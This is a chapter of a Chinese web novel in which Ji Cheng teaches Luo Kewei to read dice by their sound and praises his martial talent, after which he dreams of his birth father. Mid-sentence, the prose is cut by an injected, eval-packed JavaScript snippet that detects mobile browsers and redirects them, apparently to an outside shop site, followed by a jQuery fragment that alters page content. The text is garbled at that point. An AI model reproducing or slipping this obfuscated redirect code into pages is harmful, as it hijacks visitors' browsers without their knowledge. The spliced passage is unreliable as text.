“你,你在跟我玩笑吧?”
罗恪微惊叫一声,他看着她,就好像在看着什么怪物。
季澄没好气地回他。
“我为什么不能对我的侍女好?我没有亲生的姐妹兄弟,她和我一同长大,就是我的亲妹妹,我照顾她,有何不可?”
罗恪微怔住了,双眼懵懵懂懂的,看着她如泄愤般狼吞虎咽的动作。
是啊,自己怎么像中邪了一样,一直在问呢……
他理解不了她们这样亲密无间。
他理解不了,是因为他也是一直都没有兄弟姐妹,母父就不提了,燕师娘虽然收他为徒,可武行里的人都是年长他许多的江湖中人,她们也不是他的朋友,唯一能聊得来的罗布也只是把他当哥哥依赖。
没有人对他如此温柔过。
他只是看了几眼就已经酸得不行。
“你不饿么?”
季澄看见罗恪微呆呆地愣在那里,像个木头人,忍不住伸出手在他眼前晃了一下。
罗恪微突然笑了笑:“山下不安全,你还是快跟我回山里去吧……”
“怎么不安全?”
“那天你在红蛇馆碰到的人是镖局的人,之前你们人多,她们不敢来,现在只剩下你一个,说不定她们已经去令城找帮手了……”
季澄已经吃饱了,此刻精力充沛,也耳聪目明,她定定地看着他看了好一会儿,看得他脸上那甜丝丝的笑意逐渐褪去,到最后他低头,颇有些不自在地挠了挠耳后的发丝,一个愣神,鼻子已经被她狠狠掐住了,痛得他惊叫一声,差点流出眼泪。
“你真以为我是被吓大的?”
季澄轻轻一笑。
“要上山,至少也要等小鱼病好,还有等我找到一杆钩镰枪再说,否则萧师娘怎么教我?”
“那你什么时候教我赌术?”
罗恪微揉了揉有些肿痛的鼻子,泪光闪闪地看着她。
季澄忽感心里一阵畅快,就好像事情已经顺利得不能再顺利了,别无所求。
“明天就教,等我教会你我的秘诀,咱们就两清了。”
-
季澄拜访了桐木城唯一的一家打铁铺,她已经画好了图纸,那师傅说再赶工也需要五日,做枪缨的红绳好找,可她逛遍了杂货铺,布庄,珠宝楼,始终没找到漂亮的长翎。
一整天罗恪微都跟在她身后,就像她的影子一样。
“这很重要么?”
两个人此刻坐在路边吃茶,今日十五,是赶集的日子,有野鸡卖,却不是季澄想要的那种野鸡。
季澄若有所思道。
“没有人往钩镰枪上挂过翎,银枪才带翎,一□□过去时能先扫到敌方的眼睛,我只是想试试而已。”
罗恪微静静地看着她,眸里闪烁着微光,他很喜欢季娘子讲的这些学问门道,就像他一直都想知道那副骰子的秘密,却没有人可以回答他。
两人又并肩回了客栈,一起用了饭菜,快入夜的时候,罗恪微拿着骰子,叩响了她们房间的门。
“小鱼娘子病好些了么?”
“快好了。”
季澄瞥了一眼他手中的骰盅和骰子,心下了然,她到桌前坐下,罗恪微也把门合上了。
“你先喊我一声师娘。”
罗恪微怔住了,他紧紧地抿着嘴,这两个字怎么也喊不出来,整个人委屈得涨红了脸。
“给我吧。”季澄费力掰开他紧握的双手,一共三枚骰子,她把其中一枚先挑出来,放在了罗恪微的面前。
“其实我没有诀窍。”
“你每摇一次,看着它的点数,记住它的声音,慢慢你就能记住一是什么声音,二是什么声音,先从猜一个骰子开始,然后是两个一起......”
罗恪微神情恍惚地在她对面坐下,他觉得很是荒谬,“声音不会不一样么?骰盅有竹制的,也有瓷制的。”
“每一种都要试,不同点数发出的声音是有规律的,只能你自己去记,毕竟声音无形。”
罗恪微惊呼着开口问:“难道你把它们所有发出的声音,都记下来了?”
他觉得季澄的记性真是恐怖,几乎等同于鬼神了。
季澄点点头。
“因为潘师娘就是这么训练我的,她让我记住敌人的掌风,拳风,剑风,从哪儿来,会碰到我身后的哪个位置。”
“那我还怎么学啊……”罗恪微有些想哭,人和人之间的差距真的不是一星半点,他紧紧地握住骰盅,又不甘心地摇晃了许多下,可是怎么听,都是杂乱无章的。
季澄宽慰了他几句。
“世上无难事只怕有心人。”
“只不过,你得问问自己,是不是真的要做成这件事,付出的代价又是否能承受得起。”
“代价?”罗恪微不懂她所指何为。
季澄直言道。
“代价就是你的时间。”
“与其花在听骰子上,不如花在习武上。”
“我虽然只和你交过一次手,却觉得你也不输给那镖局的什么当家。”
罗恪微听得怔住了,一颗心滚烫得几乎承受不住,整个人好像浮在了云端,竟想着要说些反话来辩驳她。
“她那天是喝了新酿的酒,酒量再好的人,酒喝多了自然会慢些。”
季澄继续道:“喝酒误事,我将来的手下必定不能选酒徒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712618|189294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
她看着他,认真道:“其实你是个习武的好苗子,天资聪颖,也够勇敢,再怕也不会临阵脱逃,如果去边关投军历练几年,未必不能建功立业。”
他凝视着她的面庞,好似散发着淡淡的,太阳般的光辉,他再也听不进去她后面说的那些话了。
……天资聪颖?建功立业?
从来从来没有人这么夸过他,他听过最多的话就是说他野蛮粗俗,说他太高太壮,完全跟温柔贤良这四个字没半点关系,将来必是没有女人肯娶的,他也索性不再去想嫁人的事,但,夜深人静的时候,还是会抑制不住,偷偷的想。
然后季娘子就从天而降了,她比他想得还要好一万倍,就像是女娲照着他的心思给他捏了这样一个人似的。
只有一点不好,她眼里没他,心里也没他,她对其他人都是温柔的,仗义的,亲热的,可对他,她总是严辞拒绝。
当下这刹那居然对他这么友善温柔,自己的心仿佛被这温柔刀切成了一片一片,紧接着便是绵绵不断的热血,痒乎乎的,这感觉难受得他几乎要把手里握着的骰盅给捏碎了。
季澄忽地想起他说他自己认过一个武行的师娘。
“你学武,是自己要去的?”
罗恪微定定地看着她,算是默认。
“那武行听说关门了,那你的师娘呢,她后来又去做了什么营生?”
“不清楚,她带着几个姐姐走了,她……”
罗恪微说到这儿时突然顿住了,他后面要接的是,燕师娘跟他说她有大事要做,以后会风风光光荣归故里。
他忽然低下了头,心里疼了一下,因为师娘没带上他,他根本没有季娘子说得这么好……
季澄见他神情古怪,又哭又笑的,弄得她也颇为尴尬,开口道。
“时候不早了,回去睡吧。”
罗恪微没好气地瞥了她一眼,他还以为她会接着说服他呢……
回到自己租住的客房,简单洗漱后,他静静躺在床上,没来由地开始想大爹的事。
还是四五岁的时候,他才从罗布的爷爷那儿知道自己的亲爹不是现在的二爹。
他后来有去问母父,大爹是个怎么样的人,她们很不屑地告诉他,那个树族人息雨不过是个体弱的短命鬼。
当天夜里他罕见地做了一个无比真实的梦,梦里的画面黑白,情节也是断断续续,有谁把玉佩塞在本来沉睡着的婴儿手心里,然后轻轻地,满是不舍地掐了一把他的脸,那孩子似乎预感到了什么,突然开始嚎啕大哭,哭声像个锥子似地刺在罗恪微的心口,越来越响。
他乍然惊醒,一颗心仍然在突突地跳着,跳得他生疼。